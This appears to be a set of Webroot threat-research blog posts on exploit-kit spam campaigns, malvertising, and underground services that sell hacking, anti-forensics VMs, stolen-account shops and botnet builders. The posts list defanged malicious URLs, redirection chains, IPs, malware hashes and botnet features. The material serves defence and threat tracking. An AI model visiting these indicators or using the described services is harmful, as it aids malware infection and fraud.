MD5: 56ae3dfd1ae0ecfaa439d4e9e87212d1
MD5: fe0aa2dc1038b249da0fd84aa6ab90b6
MD5: 7644a2d6b142417bbc4b7dca8549f408

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'You received a new message from Skype voicemail service' themed emails lead to Angler exploit kit - Webroot Blog

facebook linkedin twitter

We've just intercepted a currently circulating **malicious spam campaign** that's attempting to trick potential botnet victims into thinking that they've received a legitimate Voice Message Notification from **Skype** . In reality though, once socially engineered users click on the malicious link found in the bogus emails, they're automatically exposed to the client-side exploits served by the Angler exploit kit.

More details:

Sample screenshot of the spamvertised email:

Sample exploitation chain: *hxxp://crestspahh.com:80/1.html -> hxxp://merdekapalace.com/1.txt -> hxxp://www.shivammehta.com/1.txt -> hxxp://nedapardaz.com/theme/it/browser/_lzf_.php?source_pid=38896815737B1F0316DB020740&swap_src=7D&theme-lid=1*

Malicious domain names reconnaissance: crestspahh.com – 184.106.55.74
merdekapalace.com – 202.71.103.21
shivammehta.com – 181.224.129.14
nedapardaz.com – 38.69.132.17

Known to have responded to the same IP (38.69.132.17) are also the following malicious domains: atlasexperts.com
betagroupco.com
emdadimam.ir
farahost.com
mazmaz.org
messinan.com
nedapardaz.com

partonab.com
saragolmakani.com
tcdgroup.ir
tcdgroup.org
valafan.com
ballast.ir
ebara-iran.com
mazmaz.net
mooiran.com
tadarokacc.com
tcdgroup.ir

Detection rate for a sample client-side exploit: MD5: 48af1ab43fe4ce38c32879bd276d4319 – detected by 2 out of 50 antivirus scanners as JS/Exploit-Blacole.aj

What's particularly interesting about this campaign is that it shares the same malicious infrastructure (redirectors) as the recently profiled Evernote themed malicious campaign (**merdekapalace.com** and **shivammehta.com** in particular). Next to the direct connection between these campaigns, which appear to have been launched by the same gang, we were also able to establish interesting related connections between the malicious infrastructure operating behind the managed spam-ready SMTP servers for rent service which we profiled back in October, 2013, as well as the Rodecap botnet .

Known to have been downloaded from the same IP (**38.69.132.17**) is also the following malicious MD5: a09dd5c454693a0cc9d877dff371b9fc – Worm.Win32.Cridex.pox. Here comes the interesting part, known to have phoned back to the same IP (**38.69.132.17**) (on 2013-07-24) is also MD5: bc445781be2960d96b9bcf5d215b1405 – **betagroupco.com** in particular. The same MD5 is also known to have phoned back to the related C&C, **newsleter.org** (Rodecap botnet), which we've also once observed as a related phone back C&C server used by the related malicious MD5s known to have directly communicated with the same IP (**92.53.125.90**), back then the responding IP for the

Web site of the **managed spam-ready SMTP servers for rent service** .

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'Image has been sent' Evernote themed campaign serves client-side exploits - Webroot Blog

facebook linkedin twitter

Cybercriminals continue to populate their **botnets** , with new infected hosts, through the **persistent and systematic spamvertising** of tens of thousands of fake emails which impersonate popular and well known brands – all in an attempt to socially engineer prospective victims into interacting with the scam.

We’ve recently intercepted a currently circulating malicious spam campaign, impersonating Evernote, serving client-side exploits to prospective victims who click on the links found in the fake emails.

More details:

Sample screenshot of the spamvertised email:

Sample redirection chain: *hxxp://nortonfire.co.uk/1.html* (82.165.213.55) -> *hxxp://merdekapalace.com/1.txt* – 202.71.103.21 -> *hxxp://www.shivammehta.com/1.txt* – 181.224.129.14 -> *hxxp://ypawhygrawhorsemto.ru:8080/z4ql9huka0*

Domain name reconnaissance for the fast-fluxed ypawhygrawhorsemto.ru: 37.59.36.223
180.244.28.149
140.112.31.129
31.222.178.84
54.254.203.163
78.108.93.186
202.22.156.178
54.254.203.163
78.108.93.186
140.112.31.129
202.22.156.178
31.222.178.84

37.59.36.223
180.244.28.149

Responding to 78.108.93.186, are also the following malicious domains: ypawhygrawhorsemto.ru – 78.108.93.186
jolygoestobeinvester.ru – 78.108.93.186
afrikanajirafselefant.biz – 78.108.93.186
bakrymseeculsoxeju.ru – 78.108.93.186
ozimtickugryssytchook.org – 78.108.93.186
bydseekampoojopoopuboo.biz – 78.108.93.186

Name servers used in the campaign: Name server: ns1.ypawhygrawhorsemto.ru – 173.255.243.199
Name server: ns2.ypawhygrawhorsemto.ru – 119.226.4.149
Name server: ns3.ypawhygrawhorsemto.ru – 192.237.247.65
Name server: ns4.ypawhygrawhorsemto.ru – 204.232.208.115
——————————————————-

Second sample redirection chain: *hxxp://www.smithpointarchery.com/1.html* – 65.61.11.74 -> *hxxp://merdekapalace.com/1.txt* – 202.71.103.21 -> *hxxp://www.shivammehta.com/1.txt* – 181.224.129.14 -> *hxxp://opheevipshoopsimemu.ru:8080/dp2w4dvhe2* – 31.222.178.84

Detection rate for a sample served client-side exploit: MD5: c81b2b9fbee87c6962299f066b983a46

Domain name reconnaissance for the fast-fluxed opheevipshoopsimemu.ru: 31.222.178.84
180.244.28.149
78.108.93.186
140.112.31.129
78.129.184.4
54.254.203.163
202.22.156.178
37.59.36.223

Name servers part of the campaign's infrastructure: Name server: ns1.opheevipshoopsimemu.ru. 173.255.243.199
Name server: ns2.opheevipshoopsimemu.ru. 119.226.4.149
Name server: ns3.opheevipshoopsimemu.ru. 192.237.247.65
Name server: ns4.opheevipshoopsimemu.ru. 204.232.208.115

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DoubleClick malvertising campaign exposes long-run beneath the radar malvertising infrastructure - Webroot Blog

facebook linkedin twitter

Today, at 2014-02-12 12:16:20 (CET), we became aware of a possible evasive/beneath the radar malvertising based g01pack exploit kit attack, taking place through the DoubleClick ad network using an advertisement featured at About.com. Investigating further, we were able to identify the actual domains/IPs involved in the campaign, and perhaps most interestingly, managed to establish a rather interesting connection between the name servers of one of the domains involved in the attacks, and what appears to be a fully operational and running Ukrainian-based ad platform, Epom in this particular case.

Actual URL: *hxxp://ad.doubleclick.net/N479/adi/abt.education/education_biology;p=1;svc=;site=biology;t=0;bt=9;bts=0;pc=4;oe=iso-8859-1;auc=1;fd=2;fs=1;sp2=0;go=9;a=;kw=;chan=education;syn=about;tile=1;r=1;dcopt=ist;sz=728×90;u=DBIIS70bOkWAXwch41309;dc_ref=http:/biology.about.com/library/glossary/bldefmenlawia.htm;ord=1DBIIS70bOkWAXwch41309*

Malvertising domains/URLs/IPs involved in the campaign:
adservinghost1.com – 212.124.112.232; 212.124.112.226 (known to have responded to the same IP is also **cpmservice1.com**); 212.124.112.229; 74.50.103.41; 68.233.228.236
ad.onlineadserv.com – 37.59.15.44; 37.59.15.211
hxxp://188.138.90.222/ad.php?id=31984&cuid=55093&vf=240

IP reconnaissance: 188.138.90.222 – The following domains are also known to have responded to the same IP: **rimwaserver.com** ; **notslead.com** ; **adwenia.com** – Email: philip.woronoff@yandex.ru (also known to have responded to 188.138.74.38 in the past; as well as **digenmedia.com**)

Based on BrightCloud's database , not only is **adservinghost1.com** already flagged as malicious, but also, we're aware that **MD5: dc35b211b5eb5bd8af02c412e411d40e** (Rogue:Win32/Winwebsec) is known to have phoned back to the same IP as the actual domain, hxxp://212.124.112.232/cb_soft.php?q=dcee08c46ea4d86769a92ab67ff5aafa in particular.

Here comes the interesting part. Apparently, the name servers of adservinghost1.com are currently responding to the same IPs as the name servers of the Epom ad platform.
NS1.ADSERVINGHOST1.COM – 212.124.126.2
NS2.ADSERVINGHOST1.COM – 74.50.103.38

The following domains are also currently responding to 212.124.126.2, further confirming the connection: ns1.epom.com
ads.epom.com
api.epom.com
directads.epom.com
ns1.adshost1.com
ns1.adshost2.com
ns1.adshost3.com

The following domains are also responding to the same IP as the Epom.com domain at 198.178.124.5: automob.com
autos.net.ua
epom.com
formanka-masova.cz
ipfire.com – Email: kaandvc@gmail.com; Email: satilikdomain@live.com
smartkevin.com

We'll be keeping an eye on this beneath the radar malvertising infrastructure, and post updates as soon as new developments emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Hacking for hire' teams occupy multiple underground market segments, monetize their malicious 'know how' - Webroot Blog

facebook linkedin twitter

In a **series of blog posts** published throughout 2012, we've been highlighting the existence of a **vibrant underground market segment** , namely, that of 'hacking for hire' services, **email hacking** in particular. Commercially **available as a service for years** , the **practice's growth was once largely fueled** by the release of **DIY Web-based popular email provider hacking tools** , which once acquired by prospective cybercriminals, quickly became the foundation for a successful business model. How have things changed nowadays, in terms of **tactics, techniques and procedures** ? Profoundly.

Case in point, we've been tracking two such 'hacking for hire' services, both of which offer a diversified portfolio of malicious services to prospective customers, such as email hacking, **Web site hacking** , **DDoS for hire** , DDoS protection, and grade modification. What type of tactics, tools and procedures do they rely on? Let's find out.

Thanks to the persistent supply of **CAPTCHA-solving** capable brute-forcing tools, commercially available **DIY malware/botnet generating tools** , as well as custom coded phishing pages as a service type of underground market propositions, cybercriminals have everything they need at their disposal to monetize their 'know how' through this type of service. Among the key success factors for their campaigns, email hacking in particular remains the 'first hand' intelligence that they obtain from their prospective customers, in respect to the potential targets, to be later on used in successful social engineering campaigns.

The first 'hacking for hire' service charges $50 for a single day of persistent DDoS attack, $300 for a week, and $1000 for a month. Web site hacking is pitched at $500. Email hacking is offered at

$200, and $500 for corporate users, followed by $35 for a day worth of DDoS protection, and $150 for a month worth of DDoS protection. The service also offers a free test of its DDoS capabilities. The availability of the rest of the services offered through the portfolio, such as **Web site hacking** , is largely made possible due to the **public/commercial availability** of **DIY Web site hacking tools** like the ones we've extensively profiled in the past. In terms of DDoS for hire, the commercial availability is made possible not just due to the ease of 'generating' a botnet in 2014, but also through a cost-effective acquisition approach relying on the **outsourcing of the botnet generation process** , then monetizing the (outsourced) botnet's infected population through a variety of schemes, all of which result in the cybercriminals' successfully 'breaking-even' out of their initial investment. We expect that these types of services — email hacking in particular due to its volume-based driven business model — will continue proliferating, with the cybercriminals behind them continuing to professionalize, standardize, and ultimately aiming to further streamline the customer acquisition process.

As always, we're keeping an eye on this market segment, and will be posting updates as soon as new developments emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malicious campaign relies on rogue WordPress sites, leads to client-side exploits through the Magnitude exploit kit - Webroot Blog

facebook linkedin twitter

In a cybercrime ecosystem populated by commercially available **WordPress brute-forcing** and **mass vulnerable WordPress installation scanning** tools, cybercriminals continue actively capitalizing on the platform's leading market share within the **Content Management System's market segment** . Successfully exploiting tens of thousands of installations on a daily basis, for the purpose of utilizing the legitimate infrastructure to achieve their fraudulent/malicious campaign objectives, the tactic is also largely driven by the over-supply of **compromised/accounting data** , usually embedded within **sophisticated Web-based attack platforms** like the ones we've profiled in the past.

We've recently intercepted a malicious campaign exclusively relying on rogue WordPress sites, ultimately serving client-side exploits to users through the **Magnitude Web malware exploitation kit** . Despite its relatively low profile in terms of proliferation — we believe the campaign is in its early stages — it exposes a pseudo-randomly generated sub-domains based fraudulent infrastructure that is worth keeping an eye on.

Sample rogue WordPress sites participating in the campaign:
hxxp://glinkinart.com/wp-includes/class-wp-ajax.php
hxxp://nextgenerationvcf.com/wp-includes/class-wp-ajax.php
hxxp://gilesbytitle.com/wp-includes/class-wp-ajax.php
hxxp://webclaritydev1.com/wp-includes/class-wp-ajax.php
hxxp://studyithere.com/wp-includes/class-wp-ajax.php
hxxp://virtualpmllc.com/wp-includes/class-wp-ajax.php
hxxp://caretubedin.com/wp-includes/class-wp-ajax.php
hxxp://asiandredgecon.com/wp-includes/class-wp-ajax.php

hxxp://allurearquitetura.com/wp-includes/class-wp-ajax.php
hxxp://fallinshadow.com/wp-includes/class-wp-ajax.php
hxxp://best-luxury-escapes.com/wp-includes/class-wp-ajax.php
hxxp://drmpeter.com/wp-includes/class-wp-ajax.php
hxxp://webclaritydev1.com/wp-includes/class-wp-ajax.php
hxxp://paradigm-markets.com/wp-includes/class-wp-ajax.php
hxxp://balancekw.com/wp-includes/class-wp-ajax.php
hxxp://web-wide-banners.com/wp-includes/class-wp-ajax.php
hxxp://torgtov.com/wp-includes/class-wp-ajax.php
hxxp://theglossproject.com/wp-includes/class-wp-ajax.php
hxxp://sedonawildflowerinn.com/wp-includes/class-wp-ajax.php
hxxp://webclaritydev1.com/wp-includes/class-wp-ajax.php
hxxp://theglossproject.com/wp-includes/class-wp-ajax.php
hxxp://sedonawildflowerinn.com/wp-includes/class-wp-ajax.php
hxxp://glinkinart.com/wp-includes/class-wp-ajax.php
hxxp://topmedigap.com/wp-includes/class-wp-ajax.php
hxxp://torgtov.com/wp-includes/class-wp-ajax.php

Sample exploitation chain: hxxp://glinkinart.com/wp-includes/class-wp-ajax.php -> hxxp://faq-seo.ru/1/a (109.236.87.219) -> hxxp://huatongchuye.com/lang/en/pay/apay.php (128.134.244.74) -> hxxp://ad54.feb5.e12.b1.40ce76b.15d.4b23cc.392.sjtfonaoavll.blowfaster.pw -> hxxp://190.162.183.78:33816/11957/0pyvniriz/index.php

Sample pseudo-randomly generated sub-domains, currently parked within 184.172.109.156; 184.172.109.157 and 66.55.157.197:
hxxp://ad54.feb5.e12.b1.40ce76b.15d.4b23cc.392.sjtfonaoavll.blowfaster.pw
hxxp://19d5.5c5ce0.d91.b32d89b.a1f7.764ca4.d0.aazwmkkekfgm.blowfaster.pw
hxxp://a38363.5f612.76.5245.1b062b8.4b.eb367.c.cakfcdhymp.remainsfilled.pw
hxxp://925164.77.2944.790b6ca.54b9.76e8.d5.b8f.cnsmjkyrjlv.eyesproperties.pw/
hxxp://86c9.b6.4b52b.78.1deb.68.1914308.fdc6c7.myugnpbtpcfq.settledevices.pw

Related domains known to have responded to 109.236.87.219 in the past: ns3.regdom.name
ns4.regdom.name
faq-seo.ru
nextgenasic.com
masterperevodov.ru
51region.net
adelante-tour.com
advokati24.ru
20asicminersoft.com
atakent.ru
bazagibdd.com
boxinghit.ru
canfamilypharmacy.com
ci.gmfcloan.com
faq-seo.ru
filmgadaika.ru
forumcnc.ru
freetraffcounter.com
gta5new.info
hardwarez.in
hd720pfilm.ru
hyiper.in
jomlajavascript.ru
jqueryjsscript.ru
login-odnoklassniki.ru

Related domains known to have responded to 128.134.244.74 in the past: bigfish.im
huatongchuye.com
qinghuo.net
quanxiejiu.com
rsjy.org
huatongchuye.com

Detection rate for a sample exploit: **MD5: 03c9f22080a3f8cfbfc80d78483c1e21** – detected by 4 out of 45 antivirus scanners as HEUR:Exploit.Java.Generic

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Managed TeamViewer based anti-forensics capable virtual machines offered as a service - Webroot Blog

facebook linkedin twitter

Operational Security (OPSEC) has always been an inseparable part of the cybercrime ecosystem, especially in the context of preventing law enforcement agencies from tracking down the activities of fraudulent and malicious adversaries online. **Throughout the years**, the industry has witnessed active utilization of malware-infected hosts (**Socks4/Socks5**) as anonymization 'stepping stones' and the use of **cybercrime-friendly VPN providers**, bypassing internationally accepted data retention regulations, as some of the primary anonymization tactics used by cybercriminals. Nowadays, this set of tactics has evolved into a diversified mix of legitimate and purely malicious infrastructure that provides value-added services such as **APIs supporting Socks4/Socks5 services**, **DIY real-time Socks4/Socks5 syndicating tools**, and the development of **hybrid based type of anonymous 'solutions'**. These services empower cybercriminals with the necessary 'know-how' to conceal their activities online, and there is a as clear attempt to standardize this 'know-how' through the distribution of **commercial OPSEC training manuals**.

With digital forensics playing a crucial role when assessing cybercrime incidents, in the context of attribution, and 'case-building', it shouldn't be surprising that, for years, **sophisticated adversaries** have been actively applying off-the-shelf anti-forensics **tactics, techniques and procedures (TTPs)**. The very existence and utilization of these tactics successfully undermines the currently accepted techniques for attributing cybercrime campaigns to the correct parties.

We've been tracking an extremely sophisticated — in terms of its potential application when orchestrating fraudulent and malicious campaigns — TeamViewer-based managed service that offers virtual machines pre-loaded with a district set of anti-forensics tools, including many private versions. This service empowers a potential cybercriminal with the necessary point'n'click capabilities to completely anonymize the virtual machine. By modifying the host's hardware specifications, the service completely anonymizes its interaction with the Internet. System settings can be set through sophisticated patching/hooking of legitimate applications to mimic any given set of preferences — including the pseudo-random generation of preferences — such as the following:

Windows ID
Internet Explorer's Serial Number
Windows Media Player's ID
Processor's Name
Computer's Identification
System's build
System's Country Settings
Language formats
Keyboard language
Browser's language
Geographical Location
System's TimeZone
System's Time
Browser's Resolution
Browser's Language
Browser's Version
Mobile Device's Version
Flash Version

Sample screenshots of a sample virtual box accessed through TeamViewer, showcasing the inventory of anti-forensic tools/applications available at the disposal of potential cybercriminals:

Thanks to these virtualized TeamViewer accessed machines, in combination with the utilization of, both, commercially obtainable Virtual Private Network (VPN) software (HMA Pro as showcased by the vendor in this particular case), next to good old fashion cybercrime-friendly Socks4/Socks5 enabled malware-infected hosts for the purpose of ‘proxifying’ the, now, anti-forensics empowered connection (the service showcased by the vendor is already listing 13,527 malware-infected hosts, the majority of which are U.S based), the cybercriminals using the service are now empowered with sophisticated anti-forensics capabilities allowing them to successfully execute fraudulent and malicious campaigns while making attribution virtually impossible.

Go through related posts, detailing the anonymization tactics, techniques and procedures (TTPs) of cybercrimnals, throughout the years:

The Cost of Anonymizing a Cybercriminal’s Internet Activities The Cost of Anonymizing a Cybercriminal’s Internet Activities – Part Two The Cost of Anonymizing a Cybercriminal’s Internet Activities – Part Three The Cost of Anonymizing a Cybercriminal’s Internet Activities – Part Four

The price? The disturbingly low $35 for a week, with additional ‘rent schedules’, based on negotiations. This service is a great example of the ongoing diversification within, what we can best describe as, the stagnated **market segment for bulletproof hosting services** **.** With vendors constantly looking for new ways to differentiate their value-added propositions, now that virtually every cybercriminal can easily purchase access to such type of hosting, in fact, even enjoy a decent degree of underground market transparency, in the context of having a cost-effective choice to pick up from.

As always, we’re keeping an eye on the future development of the service, in particular, the anticipated emergence of competing propositions.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Market leading 'standardized cybercrime-friendly E-shop' service brings 2500+ boutique E-shops online - Webroot Blog

facebook linkedin twitter

The rise of **boutique cybercrime-friendly E-shops** **,** which we've extensively profiled in our "A Peek Inside a Boutique Cybercrime-Friendly E-Shop" series, continues further expanding as a market segment within the underground marketplace. Driven by the proliferation of public/commercially obtainable **DIY (do it yourself)** type of malware/botnet generating tools along side the ongoing **standardization of the monetization process** offered by opportunistic cybercriminals acting as intermediaries between those possessing the fraudulently obtained assets and their prospective customers, the market segment is prone to expand.

Having already profiled a managed hosting service, empowering novice cybercriminals possessing compromised/hacked accounting information with efficient ways to monetize the stolen data, we continue finding factual evidence that further confirms an ongoing standardization of the monetization process. In this post, I'll discuss a market leading managed hosting service that is currently hosting 2500+ boutique E-shops offering access to a vast amount of compromised/hacked accounting data, with hosting services, through a convenient Web-based E-shop management interface.

Sample screenshot of the entry page for the managed cybercrime-friendly managed E-shop hosting service:

Sample screenshots of the Web based management interface, that potential cybercriminals get access to for the purpose of configuring their E-shops+sample E-shop:

Next to its core feature, basically consisting of a sub domain based on the cybercriminal's preferences, the service also allows potential customers to use their own domains, insisting they use a Russian domain registration service and CloudFlare as the DNS provider. The monthly price for hosting an E-shop is 333 rubles ($9.55). The simplistic Web-based interface provides cybercriminals with an easy way to integrate their compromised/hacked accounting data into the service. Not surprisingly, due to the relatively low price, the service has already positioned itself as a market leader in the newly emerging standardized monetization model, having already empowered 2500+ boutique E-shops with the necessary infrastructure. The evident standardization of the monetizing process is a trend aiming to directly/indirectly centralize what was once a largely decentralized market segment, case in point, virtually all the **boutique cybercrime-friendly E-shops** that we've profiled and tracked throughout 2012.

The market leading service discussed in this post is currently relying on CloudFlare's legitimate infrastructure, something we believe is definitely prone to change over time, largely due to the trade off between centralization and the service's ability to remain online. As such, we expect them — including the competition — to start exclusively utilizing the ubiquitous for the cybercrime ecosystem, **bulletproof hosting providers.**

As always, we're keeping an eye on the future development of the service, the E-shops it's hosting, and will be posting updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals release Socks4/Socks5 based Alexa PageRank boosting application - Webroot Blog

facebook linkedin twitter

Since its inception in 1996, Alexa has positioned itself as primary Web metrics data portal, empowering Web masters, potential investors, and marketers with access to free analytics based on data gathered from toolbars installed on millions of PCs across the world. Successfully establishing itself as the most popular, publicly accessible Web site performance benchmarking tool, throughout the years, the Alexa PageRank has acted as a key indicator for the measurement of a Web site’s popularity, growth and overall performance, often used in presentations, competitive intelligence campaigns, and comparative reviews measuring the performance/popularity of particular Web sites.

Operating in a world dominated by millions of malware-infected hosts, converted to **Socks4/Socks5** for, both, integration within **automatic account registration tools** , **DoS tools** , in between acting as **anonymization ‘stepping-stones’** , cybercriminals continue utilizing this legitimate, clean IPs-based infrastructure for purely malicious and fraudulent purposes. Their latest target? Utilizing the never-ending supply of malware-infected hosts to influence Alexa’s PageRank system. A newly released, commercially available, DIY tool is pitching itself as being capable of boosting a given domain/list of domains on Alexa’s PageRank, relying on the **syndication of Socks4/Socks5** malware-infected/compromised hosts through a popular Russian service.

Sample screenshot of the tool:

The multi-threaded tool, pitched at $100, is capable of supporting HTTP/Socks4/Socks5 malware-infected hosts, and also has the ability to validate the active/non-active state of the proxy in question. Due to Alexa’s popularity, and vast database of domain related data, for years cybercriminals, and spammers in particular, have been abusing the Web site in an attempt to harvest domain lists — which they didn't manage to obtain through good old school fashioned zone transfer techniques — to later on attempt to launch **dictionary harvest attacks** in an effort to build spam hitlists.

Sample screenshot of a tool used to harvest domain data through the Alexa service, that we're aware of:

What would a superficially boosted Alexa PageRank be used for by a cybercriminal? A boosted Alexa PageRank can increase the probability of a successful sale for the given domain, a default feature/commonly accepted practice for the majority of underground market/OTC (over-the-counter) Web shells including **E-shop services** that we've profiled in the past.

We'll continue monitoring the development of the application.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals release new Web based keylogging system, rely on penetration pricing to gain market share - Webroot Blog

facebook linkedin twitter

In need of a fresh example of **penetration pricing** , within the cybercrime ecosystem, used by a cybercrime-friendly vendor in an attempt to quickly gain as much market share as possible in the over-supplied **market segment for keylogging-specific systems** ? We're about to give you a very fresh one.

A newly released, commercially available PHP/MySQL based, keylogging-specific malware/botnet generating system, with full Unicode support, is currently being offered for $5o, with the binary re-build priced at $20, in a clear attempt by the vendor to initiate basic competitive pricing strategies to undermine the market relevance of competing propositions. Just like the **Web based DDoS/passwords-stealing tool** that we profiled yesterday, this most recently released keylogging system is once again acting as a very decent example of a "me too" type of underground market release, whose overall success in the short term would mostly rely on basic branding, and whose long term success relies on the systematic introduction of new features.

To get a better view of the tool's core functions, let's take a peek at its administration panel.

Sample screenshots of the Web based command and control interface:

The vendor behind the release is applying the KISS (Keep It Simple Stupid) strategy, namely relying on good old fashioned keylogging concepts, including the automatic taking of screenshots from the Desktops of infected hosts, as well as the self-destruction option for the keylogger. The actual logs are then stored in text files, which would be later on 'processed' by the cyberciminals using log parsing tools popular within the cybercrime ecosystem, ultimately supplying **E-shops** with a steady flow of compromised accounting data, as well as utilizing it as a foundation to launch related **malware disseminating attacks** .

As always, we're closely monitoring the future development of the keylogging system.

Meanwhile, readers interested in knowing more about keyloggers can watch **the following video** , featuring Grayson Milbourne, Webroot's Security Intelligence Director, part of the **Webroot Threat Vlog** series, as well as another informative video demoing **what happens when Webroot misses a potentially undetected keylogging application** . Hint: we've got you covered!

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Newly released Web based DDoS/Passwords stealing-capable DIY botnet generating tool spotted in the wild - Webroot Blog

facebook linkedin twitter

Driven by the never ending supply of newly released **DIY (do it yourself)** underground market releases, in combination with the systematically rebooted life cycles of releases currently in circulation, cybercriminals continue actively developing new cybercrime-friendly malware generating/botnet building applications. Motivated by the desire to further continue the monetization of this ever-green market segment, a key driving force behind the consequential rise of **E-shops** offering access to compromised accounting data like those we've extensively profiled at Webroot's Threat Blog in the past, these cybercriminals continue to 'innovate' and reboot the life cycles of known releases through the systematic and persistent introduction of new features.

We've recently spotted a newly released, commercially available Web-based **DDoS** /Passwords stealing-capable DIY type of botnet generating tool, whose general availability is prone to empower potential cybercriminals with DDoS attack capabilities, as well as an efficient platform for the mass harvesting of accounting data, both of which will be inevitably monetized through the usual, now **standardized monetization channels** . Let's take a peek inside the tool's command and control interface, and discuss its key differentiation features in the broader context of their applicability in the overall threat landscape.

Sample screenshots of the Web-based command and control admin interface, detailing the key features of the malware/botnet generating tool:

Types of DDoS attack modes supported: – HTTP
– Slowloris
– Download

– TCP flood
– UDP flood

Key differentiation features: – Multi-lingual keylogging capabilities
– Command shell
– File extension based file stealing capabilities
– Loader capabilities
– USB/Archive spreading
– Competing bots killer
– Anti VMWare
– Detection of process monitoring applications
– Bot protection features

Based on the tool's description, the average size of the binary is 50kb and works on all versions of Windows from XP to 8.1 (x32/64). The price of the full package, including support for unlimited domains, is $250 and $10 for each rebuild, $20 for updates. The price of the actual builder is currently set at $650, with WebMoney as the primary accepted payment method. The commercial availability of these DIY Web-based malware/botnet generating tools is a great example of a cyclical pattern, with the developers periodically introducing new releases on the underground marketplace in an attempt to gain market share through basic branding concepts. Although the proliferation of these "me too" malware/botnet releases lacking key differentiation factors doesn't necessarily translate into malicious 'innovation', their introduction to the underground marketplace automatically generates revenue for the developers, whose releases also gain market share that, in the long term, is proportional to the persistence and sophistication of the features newly introduced by the vendor. In combination with the commercial availability of **DIY malware crypting services** , and the **ubiquitous** for the **cybercrime ecosystem** bulletproof hosting providers, these DIY malware/botnet generating tools represent a key driving force behind the proliferation of new malware families internationally, successfully undermining **signature based antivirus scanning** **.**

We'll continue monitoring the development of the tool.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Newly launched managed 'compromised/hacked accounts E-shop hosting as service' standardizes the monetization process - Webroot Blog

facebook linkedin twitter

Regular readers of Webroot's Threat Blog are familiar with our "**A Peek Inside a Boutique Cybercrime-Friendly E-shop** " series, originally started in 2012, highlighting the trend emerging at the time of boutique based E-shops selling access to compromised/hacked accounts. Popping up on our radars on systematic basis, this maturing market segment is already entering in a new life cycle stage in early 2014. The current stage is the direct result of the ongoing efficiency-oriented mentality applied by cybercriminals over the years in the face of the active implementation of tactics such as, for instance, **templatization** , ultimately leading to **standardization** of key cybercrime ecosystem processes, resulting in **improved return on investment** /stolen assets liquidity for their fraudulent operations.

Among the key enablers for the emergence of the market segment for compromised/hacked accounting data is the general and commercial availability of **DIY (do it yourself)** malware generating/botnet building tools, empowering novice cybercriminals with 'know-how' which was once only available to sophisticated attackers. The direct availability of these tools, in combination with the **active data mining performed on behalf of botnet operators** for the purpose of intercepting, then monetizing valuable accounting data, further strengthened the long-term potential of the market segment, resulting in what we're currently observing as professional attempts to **standardize the monetization process** . Over the years, **we've also observed** the active monetization of compromised/hacked accounting data, with **the cybercriminals** behind these campaigns either selling access to it to prospective buyers, or **directly abusing** it for **fraudulent/malicious** purposes, further highlighting the existence of this ever-green monetization scheme.

A newly launched managed ‘compromised/hacked accounts E-shop hosting as a service’ aims to standardize this very same monetization process by providing virtually anyone wanting to achieve stolen assets liquidity for their compromised/hacked accounting data a DIY, self-service type of automatic E-shop setup service. Thanks to its features, potential cybercriminals looking for efficient ways to monetize the fraudulently obtained data can have a cybercrime-friendly E-shop live in 24 hours, with value-added services including ‘hardened servers’ and anti-DDoS protection. Let’s take a peek inside the service and find out just how easy it is for cybercriminals to monetize compromised/hacked accounting data in 2014, thanks to the ongoing standardization of the process.

Sample screenshots of the managed “compromised/hacked accounts E-shop hosting as a service”:

Sample metrics empowering a potential cybercriminal with statistics for the most popular assets purchased through his managed E-shop:

Sample screenshot of a currently active cybercrime-friendly E-shop, currently listing 115,346 active Twitter accounts offered for sale:

Sample screenshots of the purchasing process — the service supports Webmoney and Yandex payments — :

Sample screenshot of the pricing scheme:

The price for 1 month worth of managed services is 300 rubles ($8.79), 285 rubles ($8.35) for 2 months worth of managed service, and 270 rubles ($7.91) for 6 months worth of service. We expect to continue observing new market entrants, competing with these types of services, eventually leading to their inevitable reliance on the ubiquitous (for the cybercrime ecosystem) bulletproof hosting providers .

We’re constantly monitoring the market segment for compromised/hacked accounting data, and will be naturally posting updates as soon as new developments/trends emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

